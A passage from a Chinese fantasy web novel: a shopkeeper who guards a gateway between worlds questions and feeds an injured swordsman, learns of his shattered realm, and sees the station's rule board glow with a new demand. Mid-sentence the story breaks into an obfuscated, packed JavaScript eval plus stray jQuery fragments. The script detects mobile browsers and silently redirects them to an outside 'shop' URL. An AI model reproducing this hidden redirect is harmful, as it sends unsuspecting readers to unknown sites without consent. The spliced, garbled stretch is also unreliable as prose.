他睁眼的瞬间，谢苗看见了一双极深的眼睛。
不是阿满那种琥珀色的亮，是沉下去的黑，深不见底，底下压着什么东西，看不清。
那双眼睛扫过天花板，扫过货架，扫过她手边的防狼喷雾和实木棍，最后停在她脸上。
谢苗没动。
两个人隔着一道被推过来的货架对视。
男人没有立刻起身，他只是微微偏了偏头，视线从她脸上移开，落在自己胸口缠着的纱布上，又看了看手腕上重新绑好的绷带。
他沉默了几秒，喉结滚动了一下。
“是你包扎的。”
声音比前晚门外传来的还要沙哑干涩，但语气很平，没有攻击性。
谢苗点头。
“碘伏洗的，纱布缠的，手法不专业，凑合看。”
男人低头看着胸口那圈绑的歪歪扭扭的绷带，嘴角动了一下，不知道是想笑还是在忍痛。
他撑着地面坐起来，动作很慢，每一寸都在控制，谢苗注意到他右手始终没松开那把长刀，但刀锋朝着自己那一侧，没有对着她。
“多谢。”
两个字，干干净净。
谢苗靠在柜台边打量着他，晨光从卷帘门缝里透进来，照出他脸上纵横的伤痕和干涸的血污，坐起来之后气势完全不一样了，即便浑身是伤，脊背仍然挺的很直。
“你叫什么？”
谢苗问。
“闻照。”
“哪个闻，哪个照？”
他停顿了一拍，似乎没想到她会问这个。
“闻声的闻，日照的照。”
谢苗在心里过了一遍，觉得这名字起的正经。
“谢苗，谢谢的谢，禾苗的苗。”
闻照抬眼看她。
谢苗被他看的有点不自在，但没躲，她发现这个人看人的方式很奇怪，不是打量，而是在确认什么，确认她是不是真的，确认这间店是不是真的，确认脚下踩的地面不会在下一刻裂开。
“你知道这是什么地方。”
谢苗说，不是问句。
闻照的目光扫过柜台后面那块旧木板，暗金字迹在晨光里几乎看不见，但他显然认出了。
“夜渡驿站。”
他说这四个字的时候，声音忽然轻了下去，带着一种谢苗分辨不出的情绪。
“无灯长道的尽头，两界封门的最后一处节点。”
闻照把卷刃长刀搁在膝上，指腹摩挲着刀柄上磨光的缠绳。
“这里之前早就关闭了。”
“现在，”
谢苗指了指后门的方向。
“每天子夜会开。”
闻照沉默了几秒。
“你是新的持钥人。”
“如果你说的持钥人就是店主，那是。”
“你接手多久了？”
“两天。”
谢苗如实回答。
“连你在内，我一共接待过两位客人。”
“第一位是个狼耳朵的小孩，叫阿满，拿蘑菇换了一袋盐。”
闻照听到阿満这个名字，眉头几不可察的动了一下。
“狼妖幼崽，年纪不大，独自走完了无灯长道？”
“是。”
谢苗回忆了一下。
“他说别人让他跑，身后还有东西追他，红眼睛，到门口被挡住了。”
闻照没接话，只是握刀的手指收紧了一点。
店里安静了几秒，谢苗拉过那把旧椅子坐下，双手抱在胸前。
“闻照，我问你几个问题，你不想答的可以不答，但别骗我。”
他抬眼。
“你从哪来，那边现在什么情况，这间店到底是怎么回事。”
闻照看着她，似乎在衡量该说多少。
片刻后，他开口了。
“归墟界，与你所在的人间并行的世界。”
他的声音平稳，不带情绪。
“曾经有完整的山河、城池、王朝，妖族、人族、灵族、神裔、异兽共居。”
“不算太平，但还活的下去。”
“曾经？”
“数百年前，天地之间裂了。”
闻照说。
“我们叫天隙之乱，裂缝从天穹一直劈到地底灵脉，吞掉土地，污染水源。”
“把活物逼成不会思考的怪物，那些东西…”
他顿了顿。
“渊兽。”
谢苗想起阿满说过的话，他身上的味道很可怕，全是渊兽的血。
“封门大阵是天隙之乱后建的。”
闻照继续说。
“当时的守门人用生命堵住了两界之间的通道，只留下几处节点做缓冲。”
“夜渡驿站是其中之一，也是最后一处还没彻底关闭的。”
“其他节点呢？”
“碎了。”
闻照说这个字的时候很轻。
“连带周围数百里的土地一起碎的。”
谢苗的脊背微微绷紧。
“所以那些从后门过来的人……”
“无处可去。”
闻照垂下眼。
“归墟界灵脉枯竭，大半土地被裂缝侵蚀，粮食种不出来。”
“水烧不开，盐比金子贵，一场风寒就能死一个村。”
他说的很平静，听不出是在讲自己的世界。
谢苗却从这种平静里听出了分量，这不是隔岸观火的冷漠，是亲眼见过太多次之后磨出来的钝。
“你胸口那道伤，”
她看着他绷带下隐约渗出的血迹。
“是渊兽的？”
“五头。”
闻照说。
“在无灯长道上遇到的。”
“……五头？”
“运气不好。”
“运气不好砍完五头还能爬到我门口，这叫什么运气？”
闻照看了她一眼，眼底忽然闪过一丝极淡的东西，不是笑，但嘴角那根线确实松了松。
“命硬。”
谢苗没再追问伤的事，她站起来走到后院的后门前，拍了拍那扇紧锁的木门。
“白天这扇门打不开，我试过，推不动，锁也是嵌死的，连锁孔都没有。”
她转过身看着闻照。
“你今天走不了。”
闻照没有露出意外的表情，他大概早就知道。
“子夜之前，我不会离开这间屋子。”
他说。
这话听起来是保证，也是某种规矩。
谢苗点点头，没再多说，转身去了后面的厨房。
灶台是她搬来后自己砌的，烧液化气，炉子旧但火旺，她拧开火烧了一锅水，往里丢了两把挂面，打了个鸡蛋，切了几根咸菜丝铺在上面。
闻照坐在原地没动。
他听见锅里水沸的声音，听见筷子搅动面条的轻响，听见碗碟磕碰的细碎声。
这些声音在归墟界已经太久没有听到过。
灵火难燃，灶台早就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898655|212903||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
成了摆设。
那边的人煮东西用的是裂隙里溢出的地热，烫手，烧不透，煮出来的饭半生不熟，吃多了反而伤胃。
谢苗端着两碗面走出来，一碗放在他面前的地上，一碗自己端着。
“挂面，鸡蛋，咸菜，没什么好东西，你凑合吃。”
闻照低头看着碗里的面。
热气往上涌，蒸的他眼前模糊了一瞬，鸡蛋煎的边缘焦黄，咸菜码的整整齐齐的，面条在汤里微微打着卷。
他没立刻动筷子。
谢苗已经开始吃了，她吃东西快，三口两口扒完半碗，抬头才发现闻照还端着碗没动。
“怎么，不合口味？”
闻照摇头，把刀放到身侧，腾出来的右手拿起筷子。
他吃第一口面的时候，喉结滚动的幅度比说话的时候大。
谢苗没盯着他看，她转过头去收拾柜台，但余光里还是捕捉到了，他低着头，肩膀微微弓着，吃的很慢，每一口都嚼的很仔细。
谢苗把目光收回来，往自己碗里又加了点咸菜。
“锅里还有，不够再盛。”
闻照没说话，但筷子的速度快了一点。
等两只碗都见了底，谢苗把碗收走洗干净，闻照已经靠着货架重新坐好了。
他的脸色比刚才好了些，不再是那种随时会断气的灰白，嘴唇也恢复了一点血色。
谢苗擦着手走回来，视线无意间掠过窗户，落在后院。
“那棵树，”
闻照忽然开口。
谢苗转头。
闻照的视线穿过玻璃，直直的盯着后院那株半枯半荣的老槐树，晨光下，槐树的枝干黑沉沉的，枯掉的那半边光秃秃，活着的那半边却绿的反常，叶片在没有风的早晨微微颤动。
“它的根，扎进后门门槛里了。”
闻照声音压的很低。
谢苗愣了一下，走到后门边低头看。
还真是，门槛底部的缝隙里，有几根指头粗的根须嵌在木头和石板之间，颜色比普通树根深，表面带着一层蜡质的光泽，她以前没注意过，或者说根须藏的太好，不仔细看根本发现不了。
“这棵树有问题？”
谢苗问。
闻照沉默了好几秒，长到谢苗以为他不打算回答。
“百年以上的老槐，根系嵌入驿站门槛，”
他终于开口，字字斟酌。
“在归墟界，这叫守根不迁。”
“什么意思？”
“有人让它留在这里。”
谢苗心里咯噔一下，她想起村长侄子发的消息，你家后院那棵老槐树，这两天是不是浇过水？地是湿的，但没下雨。
她看向闻照。
“你知道是谁让它留的。”
闻照的目光从槐树上收回来，落在她身上，停了一下。
“我不确定。”
他说。
“但如果我猜的没错的话”
话没说完。
柜台后面的旧木板忽然发出一声低沉的嗡鸣，声音不大，震动从木板内部传出来，顺着柜台扩散到地板。
谢苗猛的转身。
木板上的六条规则全部亮了。
暗金色的字迹变成了明亮的金光，一笔一划从木纹深处浮起来，第六条最亮。
持钥人须查明上一任持钥人失踪之因，否则，驿站永闭，两界断绝。
金光跳了三下，灭了。
紧接着，后院传来一声闷响。